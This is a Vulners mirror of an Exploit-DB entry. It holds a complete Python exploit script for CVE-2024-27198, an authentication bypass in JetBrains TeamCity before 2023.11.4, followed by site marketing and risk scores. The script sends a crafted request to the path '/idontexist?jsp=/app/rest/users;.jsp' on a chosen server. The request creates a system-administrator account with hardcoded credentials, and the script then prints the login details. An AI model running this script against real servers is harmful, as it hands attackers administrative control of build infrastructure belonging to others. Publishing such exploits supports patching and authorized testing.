Lucene search
K

JetBrains TeamCity 2023.11.4 - Authentication Bypass

🗓️ 11 Aug 2025 00:00:00Reported by İbrahimsqlType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 230 Views

TeamCity CVE-2024-27198 bypass enables unauthenticated actions before 2023.11.4 via path traversal

Related
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
# Exploit Title: JetBrains TeamCity 2023.11.4 - Authentication Bypass
# Date: 2024-02-21
# Exploit Author: ibrahimsql (https://github.com/ibrahimsql)
# Vendor Homepage: https://www.jetbrains.com/teamcity/
# Version: < 2023.11.4
# CVE: CVE-2024-27198
# CVSS Score: 9.8 (Critical)
# Description:
# JetBrains TeamCity before version 2023.11.4 contains a critical authentication bypass
# vulnerability that allows unauthenticated attackers to perform administrative actions.
# The vulnerability leverages a path traversal-like technique in the JSP handling
# mechanism combined with REST API endpoints to bypass authentication.
# Requirements: requests>=2.25.1
"""

import requests
import argparse
import sys
import json
from urllib.parse import urlparse

requests.packages.urllib3.disable_warnings()

class Colors:
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    BLUE = '\033[94m'
    CYAN = '\033[96m'
    BOLD = '\033[1m'
    END = '\033[0m'

banner = f"""{Colors.CYAN}
 ████████╗███████╗ █████╗ ███╗   ███╗ ██████╗██╗████████╗██╗   ██╗
 ╚══██╔══╝██╔════╝██╔══██╗████╗ ████║██╔════╝██║╚══██╔══╝╚██╗ ██╔╝
    ██║   █████╗  ███████║██╔████╔██║██║     ██║   ██║    ╚████╔╝ 
    ██║   ██╔══╝  ██╔══██║██║╚██╔╝██║██║     ██║   ██║     ╚██╔╝  
    ██║   ███████╗██║  ██║██║ ╚═╝ ██║╚██████╗██║   ██║      ██║   
    ╚═╝   ╚══════╝╚═╝  ╚═╝╚═╝     ╚═╝ ╚═════╝╚═╝   ╚═╝      ╚═╝   
{Colors.END}
{Colors.BOLD}{Colors.RED}    TeamCity Authentication Bypass (CVE-2024-27198){Colors.END}
{Colors.YELLOW}                Author: ibrahimsql{Colors.END}
"""

parser = argparse.ArgumentParser(description="TeamCity Authentication Bypass Exploit (CVE-2024-27198)")
parser.add_argument("--url", type=str, required=True, help="Target TeamCity URL")
parser.add_argument("--timeout", type=int, default=15, help="Request timeout (default: 15)")
parser.add_argument("--verbose", "-v", action="store_true", help="Enable verbose output")
args = parser.parse_args()

class TeamCityExploit:
    def __init__(self, target_url, timeout=15, verbose=False):
        self.target_url = target_url.rstrip('/')
        self.timeout = timeout
        self.verbose = verbose
        self.session = requests.Session()
        
    def _log(self, message, level="info"):
        if level == "success":
            print(f"{Colors.GREEN}[+] {message}{Colors.END}")
        elif level == "error":
            print(f"{Colors.RED}[-] {message}{Colors.END}")
        elif level == "warning":
            print(f"{Colors.YELLOW}[!] {message}{Colors.END}")
        elif level == "info":
            print(f"{Colors.BLUE}[*] {message}{Colors.END}")
        elif level == "verbose" and self.verbose:
            print(f"[DEBUG] {message}")
            
    def check_target_reachability(self):
        try:
            self._log(f"Checking target: {self.target_url}")
            response = self.session.get(self.target_url, verify=False, timeout=self.timeout)
            
            if response.status_code in [200, 302, 401, 403]:
                self._log("Target is reachable", "success")
                return True
            else:
                self._log(f"Unexpected status: {response.status_code}", "error")
                return False
                
        except requests.exceptions.Timeout:
            self._log("Connection timeout", "error")
            return False
        except requests.exceptions.ConnectionError:
            self._log("Connection error", "error")
            return False
        except Exception as e:
            self._log(f"Error: {str(e)}", "error")
            return False
    
    def exploit_authentication_bypass(self):
        exploit_path = "/idontexist?jsp=/app/rest/users;.jsp"
        full_url = f"{self.target_url}{exploit_path}"
        
        self._log(f"Targeting: {full_url}")
        
        headers = {
            "Content-Type": "application/json",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
            "Accept": "application/json, text/plain, */*"
        }
        
        payload = {
            "username": "ibrahimsql",
            "password": "ibrahimsql",
            "email": "[email protected]",
            "roles": {
                "role": [{
                    "roleId": "SYSTEM_ADMIN",
                    "scope": "g"
                }]
            }
        }
        
        self._log(f"Payload: {json.dumps(payload)}", "verbose")
    
        try:
            self._log("Attempting authentication bypass...")
            
            response = self.session.post(full_url, headers=headers, verify=False, json=payload, timeout=self.timeout)
            
            self._log(f"Status: {response.status_code}", "verbose")
            self._log(f"Response: {response.text[:200]}", "verbose")
            
            if response.status_code == 200:
                self._log("Exploit successful!", "success")
                
                print(f"\n{Colors.BOLD}{Colors.GREEN}[SUCCESS] Admin user created!{Colors.END}")
                print(f"{Colors.CYAN}{'='*50}{Colors.END}")
                print(f"{Colors.YELLOW}Username:{Colors.END} ibrahimsql")
                print(f"{Colors.YELLOW}Password:{Colors.END} ibrahimsql")
                print(f"{Colors.YELLOW}Login URL:{Colors.END} {self.target_url}/login.html")
                print(f"{Colors.CYAN}{'='*50}{Colors.END}")
                
                return True
                
            elif response.status_code == 401:
                self._log("Authentication required - target may be patched", "error")
                return False
            elif response.status_code == 404:
                self._log("Endpoint not found - target may be patched", "error")
                return False
            elif response.status_code == 403:
                self._log("Access forbidden", "error")
                return False
            else:
                self._log(f"Unexpected status: {response.status_code}", "error")
                return False
                
        except requests.exceptions.Timeout:
            self._log("Request timeout", "error")
            return False
        except requests.exceptions.ConnectionError:
            self._log("Connection error", "error")
            return False
        except Exception as e:
            self._log(f"Error: {str(e)}", "error")
            return False

def validate_url(url):
    try:
        parsed = urlparse(url)
        if not parsed.scheme:
            url = f"http://{url}"
            parsed = urlparse(url)
        
        if parsed.scheme not in ['http', 'https']:
            raise ValueError("URL must use HTTP or HTTPS")
            
        if not parsed.netloc:
            raise ValueError("Invalid URL format")
            
        return url
    except Exception as e:
        raise ValueError(f"Invalid URL: {str(e)}")

def main():
    print(banner)
    
    try:
        target_url = validate_url(args.url)
        
        print(f"{Colors.BOLD}{Colors.CYAN}=== CVE-2024-27198 TeamCity Exploit ==={Colors.END}")
        print(f"{Colors.YELLOW}Author:{Colors.END} ibrahimsql")
        print(f"{Colors.YELLOW}Target:{Colors.END} {target_url}")
        print(f"{Colors.CYAN}{'='*45}{Colors.END}\n")
        
        exploit = TeamCityExploit(target_url=target_url, timeout=args.timeout, verbose=args.verbose)
        
        if not exploit.check_target_reachability():
            exploit._log("Cannot reach target", "error")
            sys.exit(1)
        
        success = exploit.exploit_authentication_bypass()
        
        if success:
            exploit._log("Exploit completed!", "success")
            sys.exit(0)
        else:
            exploit._log("Exploit failed", "error")
            sys.exit(1)
            
    except ValueError as e:
        print(f"{Colors.RED}[-] {str(e)}{Colors.END}")
        sys.exit(1)
    except KeyboardInterrupt:
        print(f"\n{Colors.YELLOW}[!] Interrupted{Colors.END}")
        sys.exit(1)
    except Exception as e:
        print(f"{Colors.RED}[-] Error: {str(e)}{Colors.END}")
        sys.exit(1)

if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Aug 2025 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.19.8
EPSS0.93047
SSVC
230